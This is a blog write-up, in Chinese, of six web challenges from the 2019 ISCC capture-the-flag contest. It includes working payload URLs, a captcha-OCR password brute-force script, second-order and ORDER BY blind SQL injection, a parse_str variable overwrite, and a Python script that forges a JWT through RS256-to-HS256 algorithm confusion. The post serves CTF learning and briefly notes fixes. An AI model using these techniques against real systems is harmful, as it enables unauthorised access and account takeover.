2019ISCC_web题解
WEB 1
观察$username == 'w3lc0me_To_ISCC2019'
生成过程为chr(value_ascii)
拼接。
但脚本对value
每个Ascii
值进行判断>32&&<127
则删除value值,直接传入‘w3lc0me_To_ISCC2019’
对应ascii
将被unset
。
翻看官方手册发现,chr()
会对传入数值对256 mod
运算,取余。
利用py
得到 value
值
username="w3lc0me_To_ISCC2019"
value={}
str1=''
for i in range(0,len(username)):
value[i]=ord(username[i])+256
str1+="value"+"["+str(i)+"]="+str(value[i])+"&"
print(str1)
intval($password) < 2333 && intval($password + 1) > 2333
考察php5弱类型,intval(‘0x91d’)=0,intval(‘0x91d’+1)=2334
。php5能将十六进制转为十进制。
最终payload:
http://39.100.83.188:8001/?value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=
340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=0x91d
WEB 2
存在登录框,很明显需要编写py爆破三位密码.验证码图片信息可以在./vcode.php
获取。
python脚本如下:
import requests
import pytesseract
import re
from bs4 import BeautifulSoup
from PIL import Image
from io import BytesIO
image_url="http://39.100.83.188:8002/vcode.php"
pass_url="http://39.100.83.188:8002/login.php"
s=requests.Session()
password=0
def getImageCode():
while True:
print('-------开始识别-------')
imageURL=image_url
image=s.get(url=imageURL)
captcha_img=Image.open(BytesIO(image.content))
imageCode=pytesseract.image_to_string(captcha_img)
print('[+]验证码识别结果: ',imageCode)
print('----------开始d效验-------------')
match=re.search(r'^[a-z0-9]{4}$',imageCode)
if not match:
print('[-]验证码:',imageCode,'校验失败,继续识别')
else:
print('[+]验证码:',imageCode,'校验成功')
return imageCode
def guess(password):
while True:
passwd=""
if len(str(password))!=3:
count=3-len(str(password))
for i in range(1,count+1):
passwd=passwd+"0"
if len(passwd)==4:
break
passwd=passwd+str(password)
print('--------------开始猜测密码++++++++++++')
imageCode=getImageCode()
data={
'username':'admin',
'pwd':passwd,
'user_code':imageCode
}
g=s.post(url=pass_url,data=data)
g.encoding=g.apparent_encoding
print(g.text)
if '验证码错误' in g.text:
print(g.text)
elif '密码错误' in g.text:
print('密码:',passwd,'错误')
password+=1
else:
print('密码:',passwd,'正确')
print('返回网页结果:')
print(g.text)
break
guess(password)
password=996登录得到flag
二解
登录抓取POST包,将cookie、capture
删除即可绕过验证码。使用burp爆破密码即可
WEB 3
考察二次注入:该题能够使用二次注入就是发现修改密码处的显示未转义的username
该题与sqlilabs_less24相同
后端注册代码
对用户名密码mysql_escape_string
转义
注册:username:admin’#
password:zxasqw159
发现插入数据库中的数据并为在单引号前加”\”
,存入数据库将单引号吃掉。
因为登录时候login.php会对用户密码转义,无法成功使用”admin’#”
以admin
帐号登录。
可以通过修改密码处。使用admin’#帐号进行登录。再进行密码修改,用户名为Session[‘username’]
中取出即为”admin’#”
username:admin’#
curr_pass:zxasqw159
pass:123456
repass:123456
UPDATE处的语句就为
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='zxasqw159'
成功将admin
密码修改为123456
登录即可得到Flag
解决该题二次注入
第一种:插入数据时使用: str_replace("\\", "\\\\");
第二种:修改密码前对用户名转义
WEB 4
parse_str解析url之后存在变量覆盖,构造sha256($hash_key=1)=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
Payload:http://39.100.83.188:8066/?action=auth&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b&key=1
WEB 5
过滤括号,-,@、and、sleep、extractvalue..字符
使用order by 盲注order by
排序规律是以字节码进行排序
具体参考https://p0sec.net/index.php/archives/106/
只要每一位字符小于或相等,整体字符串字节码最小的那个字段会排序在第一个位置。
按照以上思路,有如下逻辑
字符字节码小于或相等->回显union select 中第二列内容。
字符字节码不相等->回显union_373_Tom!
这里需要注意的是,因为小于也会使得字段排在第一位。
所以需要找到最大的每一位使之与union_373_Tom!的密码每一位相同。
python脚本
import requests
import string
str1="_"+string.lowercase[::-1]+'987654321'//另Ascii值最大排在最前
passwd=''
for j in range(0,32):
for i in str1:
data={
'username':'union_373_Tom',
'password':"1' or '1' union select 1,2,"+"'"+passwd+i+"' from admin order by 3,'1"
}
header={
'User-Agent':"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.28 Safari/537.36 Union.373"
}
url="http://39.100.83.188:8054"
r=requests.post(url=url,headers=header,data=data)
r.encoding='utf-8'
# print(data)
if '2!' in r.text:
passwd=passwd+i
print(passwd)
break
运行脚本得到flag
WEB 6
登录网页login,服务端response一串json。其中似乎能利用只有token。
对token进行解码,发现是使用jwt生成Token。
访问jwt.io官网得知,base64解码之后的格式是以三部分形式
Header头部带有加密方式alg:RS256,类型typ:”JWT”
Payload带有用户信息
签名字段使用RSASHA256分别对header、payload、secret进行加密。且RSASHA256为非对称加密需要公钥与私钥进行解密
查找前端源码,http://39.100.83.188:8053/static/js/common.js
处发现ajax请求,验证头部身份认证。验证成功弹出文件路径。猜测需要构造admin Token进而得到admin的data.links
在源码底部发现公钥公钥获取方式
访问urlhttp://39.100.83.188:8053/pubkey/7f4986d640c32e7ee1c7a8297b62c4ee得到公钥需要对里面的换行字符”\n”剔除
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK
omh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h
Kk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc
IC+LX+9V/mpyKe9R3wIDAQAB
-----END PUBLIC KEY-----
因为服务端发送的token采用RSA256加密方式,需要公钥与私钥。但我们无法获取私钥。猜测后端解密方式是通过HEADER头部alg字段进行解密验证。
python脚本如下
import jwt
import base64
public ="LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FETVJUek05dWprSG1oNDJhWEcwYUhaay9QSwpvbWg2bGFWRitjMytEK2tsSWpYZ2xqNysvd3huenRuaHlPWnBZeGR0azdGZnBIYTNYaDRQa3BkNVZpdndPdTFoCktrM1hRWVplTUhvdjRrVzB5dVMrNVJwRlYxUTJnbS9OV0dZNTJFYVFtcENORlFiR05pZ1podTk1UjJPb010dWMKSUMrTFgrOVYvbXB5S2U5UjN3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ=="
print(jwt.encode({"name": "iscc19","priv": "admin"}, key=base64.b64decode(public), algorithm='HS256'))
运行时候需要对algorithms.py中prepare_key中非法字符注释,否则程序报错。
运行py获得字符串
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaXNjYzE5IiwicHJpdiI6ImFkbWluIn0.bEza2gXi7_q9qPFTSgbu8wWRpmHqHd1FFa-rJKY_38c
带入即可获取admin信息
访问http://39.100.83.188:8053/text/admin:22f1e0aa7a31422ad63480aa27711277获得flag
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!